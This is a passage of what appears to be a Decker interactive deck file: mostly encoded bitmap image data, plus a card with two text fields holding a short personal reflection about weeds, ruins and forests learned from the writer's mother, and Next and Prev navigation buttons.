EAVgEE2/tt3XVmtMyaN+Vu39/6M2vmbW2zbQKSmy4jVu3f70m3M229ubxJSK7M2+297btps9wI0pgAQSEAAAAEMEAIUbrddmtXZmedmbabEpKU//+363dv32zYSWTb29szU9nTScyuy013tTYja9s9tZmzLKytqWQAAgAAAAACEAAAwkJPZ1vz2tme7e7K29jKZ4FMhLuamnPf7/99+37pnN5+fv5+s3v/ezdk0TJmwkJuTZNAaYQlQhAAAAAAgAAAAAAJWbve3uzbMrNve22vbfl9bfve7vNIEgABB2/vv/f7p263t989t81s39/9vdp+UlnbfzJ1iEgAAAAECCACBAAAAFGZtt7nq28bGd92c3c2b7s7xIQESSCRAECYtv1kJr3z/f39zfb9UzJmRZU1hZs2bPOdmwIAQAgIEEAwiLBAAAAIFOlnO2757Nfzm7sbd6STbMSREQIIRGQSIgCBARAAEm1Pb51PN3/vu3Z21XXs7Kea5shAAASAgEABlAYBQkEEAgQJMLt+3u/2LOWb+9m+3dMyAkEkwwCEiEkpCBCTAhCCCCAiCUAQOe+729tQEwax7gAkEEAAAAEAAEQRSZIQEEAAAAis02azO+9e9u7/+28SAEsMDCAokIEQBEiSAEiEkiCQAiBIgiIICAhIlkExmnMZACRJAAQAABAASRDOhIAAQCABAhm5u8/b277/tv/7gIkxIMMpAhIkBJACAEgAIACEhJCEAiCCAQAhAIAIAAAQQBCEIBAgJAJAAQ6CWwAABAAQAAABAGz7fv/vkE22/IygFIgSBEBAAIACQEkCkgkkECAEESAIEERCBCQAgkhJBAQAEAICCIAgBCAjaBMAAQAIFRsAAAQHNmfsySRAQgYkhMQCAJERCRIiSBEAIACAAQIJIQAMgkQQEJCBJCACAEEhIgEAQAAAgAECCWkDACAIIQcJQAAAhAQXOxBFEkmQghADIIgABCBACAEEJIkkJJBIgAhIwCABAgQAEAEJIJIQAACAJAkhCACAAIAACBEAIAAxgEERAAAAlBBCUWiAQBACEAghCIAACIEkQIAAAQAEACSCAhIJIEiBCQQQAAgAAhIQEgAgAAAIAAgCBCAABAAAAQoIABAAAgCESJjIEgRBIAABACAhBIAQABISRJBJISQAIJAAgAgAICAAQCAAAEAAAgBBAIQhABEgCACAQiABBAAIAAAAEEJCITMmREAQAARCRAQCBCARAhCAABAEAAgBEggEiCSBAAAAAAICAREAQIAgBAQAACEAAIAgAgACABAAAARAQQAQEImASTEEQQiAEBAggECJBCCCCEgBIRJAkECCIAEABBEIQSIAAIhACAQJAgAQEIQAAgIAAAgIACAARCCABAACAISACBAAEABCEQEAghEIACAIIEICSABABAIAAAAgABAAAgQIJGQiCAEAQAggQIAABCAICEIAAIgCAAAACAAIAAIgEEEAhEEIEAQIAggEAiICQgkAkAJIBIBACEBCAhEAQiAgAJIxAiYgEAAgAgACEIAAQCAAIIAAgCEAhAAQAEAECQQQRCEAQgCAgkggQECAQACAJAEgAhASBEEJAEBAIQAEMJJzFVEgIgEJAIgEEAAQhAABCAAIEAgAEAAggQAIgQAhAhEACBCIICAAARAQCQkQBAAgAIBAABAEJAgIAgASQMxM2UQhAQBAAAIAQEBCAAAIgACEIIAAhAEAgAAiAAhEgEAAEiIAIQkIIQgCBCAAQkEQhBIRAkBAgCAghJje3zp1fLUxiEQECJCIEQkCACIQgAggAAACEABAEAIEAAAAEBIRIgCAiQQAAghCIIECJAgQAgEAAAgTAhDKxjFnO2m5s1JkkAAAICACAEAACCQAAAEAghCCAEAQBAEAIABCIQIAhAhICCAQRJECEAQgQIAAAIgQRCIgsyGW2rVvd+333bheSAREEIECCBECECAAhEIkEAAACCACAQAgEACIAABAiACBAiECQRAAQAEQCAgCQkggQBCAkr2t7ra9z/7/1nRSSGEgEIIEAEBACAIBAAAIAAEIQgACACAQggCAAIgAECJIICCEEAACSHxEQQIgIBACAQSCydjO+m2fjv2/v3ecdEAAAgAIECQBBCCAhCRIgECEAAAggBCAAAAECBAAiQQAAgiIAISIiAIBAARAhIkEgIQ3qy58alt2YW7/9+36MAEBBBBCQECAiAEAJAABABEEECEIAghABEIIQAEBAABBESCCAiIAIiCAgCIgEAAAQCkxMnnmp8uMmz5z9327KAEICBCBCAECCAIgCQBIiAIAAEAAAIAAAgAAAACEABIQEEQIICCISQACJASIggRJEBEPTdufmaz3tenOnb3eSABAICCACAAkCAEgCIAQACAghCICRCAIIQAhCEEIECQAAQQAggkIAABJEAEQGBiBAESEJNNdt7dZtmtOc9e2QEURBIECAkJTJMRECd52giIBCCQIJQGJEIAQBAAIAEAAQEBBIiCAQkSSAESQQktbOOSD4zaa9uXV1pGbVv18zfc1lCAIVGIWWdtGJuVmacyAhAIwsmzaY2bKAkAhAEIAgAQEEAgIJBAQAJSABAyc7Ua3OBiVtpJLGydtktmJzXMxtdS7zvW/5ebbeK2xNdt73/d5n7dTTlqudupIiGQ0CCIAigSBAgEEgkgVi0iG5rdbeZmWzMe9Mk15bvZs+m/0ztZv/vattW2fft7bv7m2yVp7uXJNPWOa86Wttprtnc7QliiAJECQQCADDSNJkzso+cneZmtpvczEzt7bsxMy37t7rW857/9/XbfTVmbrLP3b269Z2a2b+127NbPuyeZ3Hc7kIgAYBBIJJEUV0c3tzzY8YmkpKi5JuyWzeptlFIm7bl3793/f3/v/e+3bN+41ts5S32e7tn3fbv7cs3Z7Wedr/QicgyEAgBEW1vtt5/X/z627ZN+7/271b2bq3d+2T5fO897f5//f/17t2/a7z27r3u992u2W823u3vs3zczteDhAZmwISCTUOyslhtp2m/L9s9/W27Tk3w21vppq9/7x5l/v//+7//7f8239u+z5O23t9N+7/223ffPZ7bZtUZeUl2sZkkIGVZlpfPNy2u2e9v7zf2b2m1Lbnaa3rFyHfndpPH/f//+97ju9zd77n/97b3et9v8mm8f/5/snE15s5oH5m1MQmxlnP5tZfL99+5v/ffnvf6v25l5/vbdm/1+1OZ9/+tm733bMx7d3G/bJn/77v22i68jyJDY6afpsz/rP1ubVkh+7NOHjf0dn1u7/fbmXm8NumzbHbd6T63my7d7f06ZvmcbTdtq+Jee2+2WWvsa77tzuP5/rxtpus7Zbcfe/pOZNpp3dPNm5aNaf/f3v3GzzmMmT+cbfzNlu5m5mYc71pmZ7u5t7o/28zab62b97vlv1sanRvX2fl5323xZ/m7JJOWzvU2ZtrZs7d9mn3yuzLNt6bcc7ef3/lt2ftc5ttvverOzvttpef389us+l283d3bdvdqUt5bb+SbHOGuffa287637fbbZ3uf/e9v7rvLt9MziU72Z2k3dvt727ZWba2+83b5tb05d952983P12b77+0r7szH97Y3+7d5v+7aZc27/32Zrf2d5//Vp5v57XZ+2W87W79t19s9SHrZxZbns+23Dt7bv2z77fZ2fd2fv/d/+Vm38KSdmW71U/+7yS38/9tzm7bf5vP3lLWdLrX7bN0z6f9jn9z70X6vZ7u03bJky/bbbt+7f7dv9s9v//T3ds6fc3u25m7z3/bu/3mrtp9ume5S5ei7yXZbZsb+7u23tOZn3Ob+7M7npTJs2zMum3i7rf9mu3e37Z3+9tyPv9u77n3tm2Nvm3s/8232bs/d5v5v7byfO3k72vM5z+4zLs4muNt9z5c+mW7bZ0u873s3KbZN2frS2fb9Mtszc237P3fv/+29uf192RN7z0fjfpnb9rX+s223jjadTTHVtst7mZ87c/J18t7yWbd85mnu7e/Tf5tbnWf3Z2xuz19u5vf/////7v3vvf/8/9nzO9f7e7nWRr2W7fNtreZad9O7LtnXVJptzt/lu2bJ1ztOv8t7T47ndP38272t5un987////////vXef/27M82fPn3fefre33E5329++c+/p57/sn+aeWtLXlYXJW+fYtNt73fmXnrfadtP37/359+33/f//////v//9lzd/873Zut3d7/5rszf3vv/z3yzbej22b/s239tdebd5t1kxc4123DdM+3a17979v/+9P33P+///////eftmzNLNv7L3fm/e/+/5znu+v7/9//Nbdt777b3M0W28c0zq8qb2X13vb7fmZp9/7///rf/3//3/8//f////315aUBIT7v7u/s+fb+//v/fc767vn/R+WW33Xt23Nb125bXmfM76977X/73zmbrN/37+5////////+9//9/79v3bEkEAA3tv+f7Zs89/3+/f9n/v+29/Z+27fW/WzLc/N+1NtxduS9ymvF/3z22qa/9//9n3/+///f/u/+t9vvcnCAAIJEtff+23/2+/X3/7bf9X37dl7782t/23dzufxttl6ZX7J/2t77d9X/7tW7f////53/f/////+/9pJqaTHICBAgED7b+2/2f97Zf//+35t/f/3f/+/f/3/f2zZffZ3n3cyvxt87ybr/vfv3b3///y7nv/2//////7NLJpJECSJCBII7+///+vm23n+2+z/t///tb+/99////vrm+z7nu20z+fN2ZmzOJv95nt+////+7tu/7/////bJKZSSQKAACJAgn7//t//f/2+/yP+39/37zu///+/3/3932k+/fu5b3z95z923M+23/2+d3//+27/uz3////+7fOT27JkkkSACCD3vf//3/3m4/u231tzX+n7///v/////93d/v//9m3P+jvy3u525v/9//////+/1r/vd///7b2ZWKSEBAQQESEJnf//b/+WMzz+/P9t/W/2nbu/////z//s3m9/32b15ZrY7b3v/23/3/f//n/2//3U613+9/1STEyEEREhAkQEAP/e+d+DZ5n37/v77a+f9t09///////vt7ej/3/7Pn3m9u2vf//9/+/ff3799/+/XTb7/z7WSmKCUUjASEgAkJLf/M/++f39lrne/ZrO9v3X33//////+z01+d//r2tW/bc07f//1nz///3vv+//5m21vt3b0qMIohIiCgIBIgAAd/swt/YfbNv/3/3a/+/rNv//3///7//nXd3////ZzX/vvn//////t//Zuy7//3v33Zf02zIokikkhCGQkAhJJH37f333+/5pv//7by+x62n//5V8W//+5st2////9jt3/v+////t/v/8z9753//fvt7tuyTMiJIJIREkBASBAAE/r88fWb+bbbut9jNv/jnbT+/nf//fu7uvtv//vu3nnzxEv////bO/+7t3z3/v9+/ru+pskSZJkIhIgEEgJCSQ2rTZz2zu+3Z/pOWZmXvWJmezaPP/eu975e/3/v73NsnDX7//////v/J9+f/f//z5v/ZzIzJBIEYKIhIQCQCABNrbbbb2e+zbz/a+7Md7duU1Le58///9/vT//d/3+9t/ezP/////7u/d/745/d//v97f3blImSYgYIBEhIBIEkDG2ya22/++ubdam67yvSe9m5WbTTv/N/e7Pt97/+zJizba+///r7lv3vt37//b//5t4+e2SSSIiQSZCCCSAkASue2y296587bZ3ttmWbXY1m7x3f3f/f/5317/f/++f/3N7vx//uy3tPb7f+/7//2Ttz563rJEkRJJAiIKAiAJAOs7e2/e7/7/7vzN22bM20dsLORNbb/z3m//rbbf//ZnXz73//v7b7b/3s+/v/7/7dvf3tO0kiREIEiAwEiJIEnbbk17bf/k/+6zNtuye2U52+8/tz/7PVOPuzazdH+9/vP2dp/e723+iXf3v6f7/m9s833/XSJJJIwhGREAAAQAvNu9ne97f12zJtI8uyd17NrTeZ7+z987d+4WARv///++/b//17X/b+23t9987Zvzt73/bdvJEiJDJEAIMlKRJPc2u2y7Tdsy2dmbTs2ZntbmWZnbTjHKzKTWQEiP////+3+//b/dv/13re/l377/fPvfq3vukSSYUAQmQoICAEL9vtt+t3W3rmZabdNc1M5UNe2ObHXMe2/nTIkSp/e//////3y+8u/dd9ntv2u7529O2v7e9qSJAwTJAEQIiEoQ9MvW192yMpmam220czcz85sm86W3nGa3n0w2JJH//nt/4+fPz77b/3n+92vuz327fvbXv/+kkmBkEMkRICEAhFbZdtt+m89tu6WWPY6Zsbrq2Xy3Zuec/+PzEoEQf/zo2rv6/n/v+buf7pt7v/3e39v3/bt+kkSMgxIIEIUIMCFzNp5rs93dZmxu1s9y3M5s7p0dMpn8vzfsmEyZZn37mya9u+fvab7+/+u5lt/38/m3bb/v+5JJIhhCIsQkQkYIvd2hrN9mf7vHc2Xlzsbbc1qtw07bdn//z2RNJMmTLmb57f//597nb3/97/b737+u7e7mba5RIhJBJJIEQDEAgq3d/vdM7ff7d3+7OOtzn3zjZO36bp9f//12Myc5e4z23n5/37TW3+vf3d79//n99/8/fft93JLJJIhEMRMEIJDu707bd5t/233ts+5z/e6eLVc2d++WZ//9+ZLL3sr1vee/+f/fP3+9/9//z13vd3839f+713SUJJJJCQIQQIwRc3/7ffN2b//v7f/ndZs/27272/3594//977uXNu7Xz93ve+/+/n993/77f9+/9+5992bb//eSSSSJKDIxBiBBLdnv/ft3b/v7959ne3+1n73rPu/v32f//8mDW1/vcvT3v9+7s7+739//z937/9////v/33O+UkSSJImCQmCMGHtt+be/f3f/3////mfd5f/fsf/9/fvh//9s9Wvr/d/X/le/3N9l/uf+////vv//d+9++/fe/0kySSQiGAgIgYIedj7+/f3T////Z/uZ1V1//7Z////96f/8r5S+vzb/Mlvbfufd996/N+z3//bf/9873+/t/v2kiSSRJEGhiSAhNfv/+/+33P///9z93T92/7/v0////cv/s5p2+//77e3t7M+/999/u/W/3f///7/////3b///lIySRJEkFCEaDD3/z3/+/e/////9v2Tzvj/+/bv///vX/uTbj2V/+z7dvffv+/ff3/7/9/e/f3//+/7v///3/5MySSSSJMREQMDvf///f//t////5Fa7nrvf//ar///7sW5c923tP7rf+/f/f/+///2/+3z/99///////+////2oQkkiSIgJEgQSG/3///v/+////+fVi3/9n//+7f77/6sz+xW1P76u7//379//7//+///7v97/7////3///7//JskkmSSTIkixERv///76/7////85tedPbb///3f59Znrnbu99svZ5//37///////+////73/+f////////9/2zU0kkScRJCJBIUv/////n////97kr91799//vN19V2m2NZMwxvxbbxn9/vfv////+9/f//3//9////////93/TNF5JkmSRMkRIktP//9v++///97f5rnP/53//p/3Vs7N9z933LdO+3bX9/////7/+/3///3v/v//////P///9mc9nMyWcpIiRISZ3//Darpzd/9qd9n+tn/t/9vfO7a23nazO1v/fz838/+39v/////////9v/+7b//////7//+3dvN2J5nyJJaRN/f//b//vbf9u69917e/c3/3Zu2t+bPdtf7/7+O263//v//////+3/f////v7/u//////m3smd77Z4/pZZwtkhP///bd9uzb9t/v9vft/9z/5dv37U+z77z/vZ+52/v//f////////7///9v///u7v//+/fvf8/v7b7Xud1JLWLP////339/7f/e//+u7/7tt+1L///+Xfm/v/38////+////v///////75//P3////////fu//u8/W3N7TWbpnIZ/f/+//9v73vd///+//PPp5862+2+93/e7////bv/b///b9////////3nv//f/////7///vpu9/27Y2287Ke8TP///7v//36e/fv///fPdrn37u7/p93/9///3/57/31///f/////////+/3v/////////9///993vvP27nfbzSb////79//bv/v////82bu9Hv239//9///H3/////////7f9////////v7////////v////79///u3N+3e233+b/////v/79+///////T/vz+/33/////+/+7/////3/9////f///////+//////f//////9/t/e79t5e/d++36z////////vZf+f/////u//LJ/n////////nvf////////+3///////////////////7f+/+/+/9923d+/ddv7+7///7/////3//////887T9/n+////////t7/////////9/+//////////////////v///u/7///9t//791//9n/////////yX//////79tT/+3/////////vO/////////////////////////////8/7/////////2/f7/y399/////////9p/b////v/f3/3/////9////6////////7/////////v//////////////////////////797v/9v////////+3v9///////d333////8/7/3+/3//////v///v////7////////////3///////////e//v//+7+X////////vZ/yf/////////////5+//////f////////9/////f////////////3///////////3f7d//73/297///////3txbM//////////v//e/9////2//////////9////f////////7//f//////79797bf+///f/v+/A2////////81m/////7///v///6f///////////////////v//+3////////v/////////7/97//7977f93//9s3////////s3//9///3//////////////////////91lr7/f/+/7/////////////e2////9/3e3t73u23///c2///////+Z////P/////////////f//5P///8IU5z/3//3f3/+////8/////////////99v93d/f73f/v/9/5+v//////8T8b//P//7//////////+/////9bz/9nzZv///+3/t+////////////////3//+73/27b/ttu//2nt9//////+/5R3////73/////////95/9/n/9mqas733n/f7/+//////////////+3b/v3u77vu+772v9/f/vebdf//b/0+b/m/f/f/+3f//////f67ZRhc/+6eyyrr3/f7e/29////////////9/9//2/ve7v++5/33fb7fv+2993//f/Nw3/6f8/f//9//3///J9CZN3Pd/+z5nXbP3v93/+/7X7b///////////////////+1zd2ff9/r////7b7/7/9c3///N//f//fn+///+Nte12TZt/c3GmWd93uv+227tvT/b///////3/////////////125sz3/29s//frPnvN2//zZO+zb/7fvf///5u7Z3Tdnrad02Zt+33/7Nt3bN232/v///////////////////////u3Pd379//2/6OSba//33zf+e/7+/////zm5u0tl2fb0ljZm2+f3fvftt////////////////////////////9//9pnf7////u8zbZ/f3/238/f///////nfT2Z63b5TG7Om370+3Z/bNu3/////////////////////////7/v/fv/u33v/9///3rf///t+T7x3ff////7e5nNZttsn/cps29mn+3vle7f/+7e/7///////////////////v///u++7f3t/7///+97/v9/vm1/5Ld/////ttru03ydu+SS0zXt+/u9u/az/v7////3////////////////////////7//f//////3yz/79/7fyd2Y/T7//9t2tqz6T5ts22VzNll9u17Zu/////e/b///////////////////v3/23///b9v/////0nmTb9uzAAvnJyfns2zbZrXOk/ntm201m+3vl23bd2+//+7f7f9///////////////////////77//3//////9sk2f9uyGyyfs37ee23tpvNc7Z2bbMxmtz7uvbd5t///tt7//+///////////////f///////t77///b////76upk+QAAoGSbb7W15u2225e13vn7Nkzm73m27btnu7/v/v372/9//////////////////v///332//7//////u6NkgCZEyk0ybNt3Xs2nNZ07dOamcnKbprd3t7bef/t//ff3///3bf9//////////f///v////fe///7/////e9MTN2iUzOiy7d22db2ud3225szszMs1t23n+zbZ9e//7d9/f/7/f9t+/////////////v9///99///79//////czMCWz+UshubbbszNt7W1szKzMzNp3d7bf9bXb39777//7/bb3+//+//////////////9///7////////////w==&#34;&#xA;{widgets}&#xA;field1:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[304,47],&#34;pos&#34;:[14,22],&#34;locked&#34;:1,&#34;show&#34;:&#34;transparent&#34;,&#34;border&#34;:0,&#34;scrollbar&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;my first refuge was the undesigned: weeds, ruins, unkempt lawns, the forests where i learned to camp and hike and canoe.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field2:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[181,20],&#34;pos&#34;:[137,75],&#34;locked&#34;:1,&#34;show&#34;:&#34;transparent&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;my mother taught me this.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;btn_next:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[438,313],&#34;script&#34;:&#34;home.0&#34;,&#34;text&#34;:&#34;Next &gt;&#34;}&#xA;btn_prev:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[16,313],&#34;script&#34;:&#34;card1.0&#34;,&#34;text&#34;:&#34;&lt; Prev.&#34;}&#xA;&#xA;{card:card9}&#xA;image:&#34;%%IMG0AgABVpIyTW7cszNt23+/////////////3zbdvtt3bN3bdu1m83a23tt23223P//9pmY2///////ve/3v7/+7/vff//+SzLNuy01s3e7b///////////v/vnbZtbtmbdt33btOT2u3du23bMy2f///iTZjf/////3f+93/v7v/7//////JJm3szNtm7f///////////////uu23vbNu7bbnWdts3Mqdttttts2k////7ZlNv//////93//7ff/v////7//yW3bZmcsvd/9/////////////227u7bbdrm27O27bZGZtZu7dtmzZv////+RmZX//////7/fe///d/v+97////JzW1szZ7d//////////////+/bbM7tu3bO2zdu3bbMpsWJrZ7dbNvv////zM7Nf/////39+/9/vf//e////v/anuzJnN3///////////////+62297ba2bds3bc3be7mRabO3rZ07b///1/2JkZ///////d/+39v/u7////f//7JszNu+//f/////////////Jtu2z23bt22c2bZ+22ztZktZbbWzzf///t3+TNTL///////9v/7/v///v/////+1tW3brv//////////////+Yk223N2bbm259u3s3bfbWqSTttmbPf//+t//mZOb///////v/v3//b39/77////3JczN////////////////8jILd99m7bO221ubb2202+atO7a288///9v9/8TaTf/////+/vvv3b//v9/3////1tptv///////////////9JmIs11re7bdts5rdnNu32y9k2zbNq3///5v//9GTM3//////7+//v/79/f9/+/7/+mbt3v//////////////YSMKDT3bZ223ds3rWeds2tvt3bdmc2////r/3v/smUz///////797/7/3//f//////tbbf///////////////RJYkedtvb222Zt9be57bdts2zZs2bbf///O93v/4mZNv//////3//337f/f////7//3e3/v///////////////YzJSz7ubbttu7Zza3m7c3b3Lv25tdv//+f9//v9Mks///////32+/v//7f333v///ub/f///////////////77QMm3PO+2ttu5trbtezb7bNe2TJub///6/f+9//0myb////////9+/7ff/f///9///7/////////////////7u9Ja2+fa25tbN27221vbNu912bNs7v//zvfe/9/yNJN///////79//f/e///7/9///3/////////////////7779Nv7fdtttbdtrW3ba292bbW22b3///n//f/f/+Mk03//////73+/e/f+/vf97////////////////////+3znve23ebdtbbbbudtm7uzbda0mTbP//+f3v/vfb/sbTb////////+9/9/3+////////////////////////7/X3efv2e7Zttu27M7duzc3Zt2zs2m///85/fbvf//yZMm///////+7/7//33/3/f////////////////////vm335+2363btu2zTd25tvZ3b222tm+///537/f//3/+JSS///////+/3v7vf/3v3f///////////////////++3vmz273m2bbbbXvbdzts7tuzZkxM1///lv/3/93v3/qTNv////////f///f7////7//////////////////97fu373dtu27bbW2y25nbbzbq3tmzb3///N//fvb/f//yakm///////3/729/v779//+7+///////////////3287tt3d9tu222223uzu3bPbPtSbNrP//8t/2/vf7/dv/Jmbf///////3f////7/7////////////////////fP77v7du57c27bbtts3biW829dnZszf//5v9v/f/f393/KUpv////////99/e73+//ff////////////////98+nb7N967rZ2222ttt22Gmb2zZOWzb///lvf+9/v+/vt/5ZiX///////9799///+//ff3///////////////727fdz+3b27bu2227bbds5mUNvbZszN///N/+797vb7uZv+WmZ/////////9/+99+/e//////////////////vu+97fzue23bs9ttttttszklY2SbMyf//+d7279/v/3uzP/YyT////////7f/e/99////9//////////////E++97z83u82/bb1ttt222ZJJtlrbad2///837v/39/u/7Od/xmmb/////////v//f//3v9//9///////////+djz9tvz97t9873NtvbttrZM1kmWE22U///5vb++/d3e9lM7f+WWb/////////vvv/fe//7//9///////////2zOnl7d3tzu137mdt7btv+kZTVZZKaWb///jf/9779/f9tbbP/pkLf///////7//fv/f+97/f///////////oWXMyXPd3bfbf3O27bbbtuZ+5kltkms9v///Pfb3/vv7/dprde/yms/////////37//v/v///f9/9////////8Z033MKfbd67dve7+vbbbbbm6bmiaSSzv//+be/vbe+7u9LLZbf+bJb/////////v7t/b/vf//v///////////3mzGMy+e727du720+be3du+35mPJhlNv//4z/++//77+6bfba//klN////////9/f/9/7//vv/////////////avO5vY+7vd27bn31722baztXyceSWZ///z37t7+23v96zTSb7/2aa/////////9+9///73vv////////////b/s2TMV7e223rd/nPT237dvN2bswZgr///mf/v3t//e7kmXO7f/8Zi////////////+/e////9//////////+/u/mZGXfc9u7O7Tf+/22m289u7mXymv//+N+9///22/7Nd+22///kmX////////9+/e/f+97///fe///////27e7e7Jfte9s7vbfZru29ve5za2Mcmtv//89/73ttv/+21tkmX///6YXf////////3+//fv//+/f/////////v/9/d+n2v89v7bd23vttt/c3vbsZ5s1///xv7vvf/+226TKbc////8k2//////////3/v//ve+/f3////////e2b2f2/b/b1ubb223bbvvZ29a203Ztn///ne7+/9tt//s2tpt/////SSv//////////vfv7f/+/f////////99//v+vd/tbN7e22+9ttubf3t3uzbTZP///F/779v//22s223S/////0ku/////////3/f/v/3v//+/f/////3322+3+9zf29zu395tu2272dvfctsnZ///8N3f7t+7bf/ZMlJb/////+STf/////////3/vv///v7+///////fff/7/d7/3Pb3u3n3u7dtu297c1sy2z///47/d7/97/9slc9tm//////JJf/////////37/f3b7/7///////7d99tvt73s3e9vt3fNe7dts2+327N5tj///hv9/37d/238yZprf//////0k23////////3/7///777/f7////3/33/+/3ve93b2t3121m27b257Xstj0n///G+33vf993/ZnrOrN//////9JS//////////9//t7//7///////fbffbb5ve993dtt7nz7t27bN3ntm7Ozv//+N7/ff9393t0mWc6f///////JFs/////////9+9//9+//v//f//d/99//v+97X7v297vrm7m2292ebnLdzv//4b3t99v3t/vk215l////////5JN7////////9+/7+9/+//3f////23322+57nebub57Zu+zO3bz297PO1H///xtvf33+/v7vJtmmt3///////6RJm////////9//f3//d/3//////v/ff/773ve+97n77tzfbtnnt7W8bTf///jf+9vfb7vvuTsms5/////////RLO7/////////v/f3vf/37/9/f7u399tvn9vu+53fbbtnc2mmftmtZzWv///G9t7+9/vvu6TJvtn/////////0Sc3//////////v/////v//9/////b3/23b7e877d997e22bb5tublnW///+N773t72+/f5m3skv/////////8xTd/////////3/32973//fv////3/vbf/+73d7t+z2z9u99tnt53Lc2///4b3vvf3v77dkmzJpv//////////hGZ3////////37339//v/f/////vbe/9tu73du92/tvTczmy27TmXpz///y/ve9tve3v/k7Wttv//////////pMzvf////////7///++/vf/////+/97b+9v33u5+92+3b/ObtrNObTP///C++97/+9/e2Jpm7Tf//////////8hnM//////////9+/v+//f+++/f9+33/rbe3nfv57XZve69pt+a0+nf//+X9773rb7299JtmlN////////////TM37////////+/+/fv/3/+/////2/f23/97v3O73e/ts773txbLaa///8X33vvfvbv70nZe2X////////////0RrP////////+/e/f/v3////////99v7W33vbf7/e6fb+23dzSW81///43vfe+92/+3srZ5lv////////////8zM2b////////////7/37+/3///+33+3/3fef/d2239ft7d5m2bY3///hvu997737b/YtmzGv/////////////iZ3f///////////737//7//9////fb/bv1t+293bvX2/W9msy+lv///L//733vvv3shtWbdv/////////////kzM23////////733//9///3//7/99/c/u333/7+3u3Pte7eZ22bf//8L7bfvfe++fdm1Zsj//////////////9mc2///////////3/+//e/3//3/f3297fdvvdvs/d3+3e9plt01///5f3/9/991595Fpzmb///////////////E19t////////////+/f//3/v///ff7/29++9+d973nve1THbln///yffe33b3333iZmzNP///////////////tmlvb///////////3////3/f///99vt337777d9zvve9tbfbNv///k+99/ffvfvfMztbZf////////9//////8mvbf///////////////7///////3+/tvbvvtv77+31ts6zbdv//+F/7329++9u9k2Zkzf////////////////Ltve///////////////////////fb5v+/++93bu53X9ppnW2///8v+3/f7277/7DMzOyf////////////////st2+///////////////////////9/t/b7d7Z/d873/prNm2z///4vv/d9vv/vtsLM25J/////////////////6b/7/f//////////////////////2/7fv93v5/1/+zvbbfan///x/e293++2+/0zbZjN//////////////////Nt/3///////////////////////f7b++3/e72v90/JZXZc////Dd9///b7/77JHTNmb//////////////////0//////////////////////////9v/27/M579+7387TeWyf//+X/3927/vtvvps2cyf//////////////////5v//////////////////////////+2//tv732327tre627f//8X3fd37u+/++DLm5jv///////////////////n//////////////////////////b/7t/fP/d/PbtM2yml///w3v99/3+77b7NbMrM////////////////////n///////////////////////////tvvzd+292+/Zt2W+v///l//v7933/v/sFzZ2J////////////////////8f/////////////////////////+/+/ftn3b976Zrds0////J97+79/vd+24bLTkb/////////////+///////b//////////////////////////977c2+Xvr3m7bZm1///+L//t777u93/xbM3M3/////////////+///////m///////////////////////////3vu9p+u+/eSbbPZ///4f++//7vv//dhbdyZv////8////////////////8f//////////////////////////fe25/27z5s3bacn///y/+57t3+/tt9DaTNpP////x/////////////f///f//////////////////////////993btd7Ptq2ey7f///l/dvPv337f/2La+ck/////n/////////////3///k//////////////////////////7223bZ2827M6T2///+H/f33/vvf9tsLSy0p/////N//////////////f//6fv/////////////////////////u7vd77b1Jc23n///5fvft3t/v93/wvO2mb////+X//////////////////tu/////////////////////////62t/bbttt2823///zf/4/PP3fb3thuWZsP////8X//////////////////k/7////////////////////////33/3e/7SraZt////le/in73vff/vDstNk/////4kv/////////////////87X/////////////////////////ftvc6Tbva9t////G/+m9t9/++28LJs2Tf////y4p/////////////////+m3f////////////////////////9v+/+/S1bZb///8X/+7/Odt37/5TbN7J/////k8Jn/////////////////s39////////////////////////3/b6s033ad////53/39/v/z/f3kPTMkn/////J+TL/////////////////5nb/////////////////////////bfu73TW657///xv+/fdnze993kebW5H/////JJ9M//////////////////Pfv/////////////////////////++3Mvtjb////D+97/zkOev33B6SWRv////++CW9//////////////////pe/////////////////////////+27dZ623d///+f9/B/uJ3/7vuNmu20/////8PBZ///////////////////7b7////////////////////////+/+0zt1rb///8r38Pd/v+zv/8pyWeB/////4/8Sv//////////////////+Tv/////////////////////////9szvbXtv///yfv5v573fs+7xHjscX/////wjcyb///////////////////ze/////////////////////////922s3dp////m9/3v2+N/n/7iPOm4X///7/jiV7z///////////////////2d//////////////////////////ta72bn////M//Jz3M3PF+3k+YmYv///+/L4bf3///////////////////+b//////////////////////////M03P7P///8t/9Kt//n7N7+R1nWxf////+X+yP/////////////////////rv/////////////////////////7b2enf///5v/tP7vh/+H/0jtOdjf///78tfz7/////////////////////6f//////////////////////////Nu+/f///zf/+febH/9/e5HhsqE////3xsE3n/////////////////////+b//////////////////////////e2+5////Gf3TvfsV77//wvHNuZ/////zcCT///////////////////////z//////////////////////////27c////+d//U7/b3/v7/E7N5sT/////m/hp///////////////////////2f/////////////////////////+29////5b/2mzb+b9+/2M5NjYX///9/H/+G3//////////////////////+d//////////////////////////37////zXv+P9n7299+8ZrbLRf///3/n//ZL//////z////////////////t///////////////////////////v////LfJtv/b71t//4zcrPG////94f///v//////n////////////////6f/////////////////////////8////+a+pf77zf97++wnZ02S///+/z///////////P////////////////+f//////////////////////////////6b4rX+7z3fO++x+Tl0T/////k//////////+b/////////////////3//////////////////////////////y+0mJ7nz59P9+Ex2bpn/////F//////////8b/////////////////0//////////////////////////////m2zZqv9lvbPf8s7M7iP////+N//////////43/////////////////9v/////////////////////////////N3Jhmz9N+yPfYm7ZtGf////8b//////////5m//////////////////t//////93////////////////////+d20mLd71/6//ZNrXNU/////4n//////////xkJ/////////////////5//////b/3v//////////////////670lTJk35+//3SdmWdD/////wv//////////l4M//////////////////P////7f+/v//////////////////zusmVnMz3v733GbPc5P/////x///////////L+hT/////////////////f///9v/d+/3/////////////////neysyWds/vv/uM+Zmyf/////h///////////JLrM/////////////////yf//7+793//v///////////////+v9lpm5vLd5/76Z2bGpf/////D///////////mCOY//////////////////f//bt73/u2+7///////////////vm0mMsm5l/t7yTk2/k/////+PA/////////